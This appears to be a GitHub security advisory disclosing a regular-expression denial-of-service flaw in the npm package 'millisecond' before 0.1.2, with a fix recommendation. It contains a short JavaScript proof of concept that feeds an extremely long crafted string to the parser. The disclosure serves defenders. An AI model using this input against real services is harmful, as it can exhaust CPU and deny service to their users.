Vulnerability from github – Published: 2021-09-22 20:35 – Updated: 2021-09-22 20:34

Summary

Regular Expression Denial of Service in millisecond

Details

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
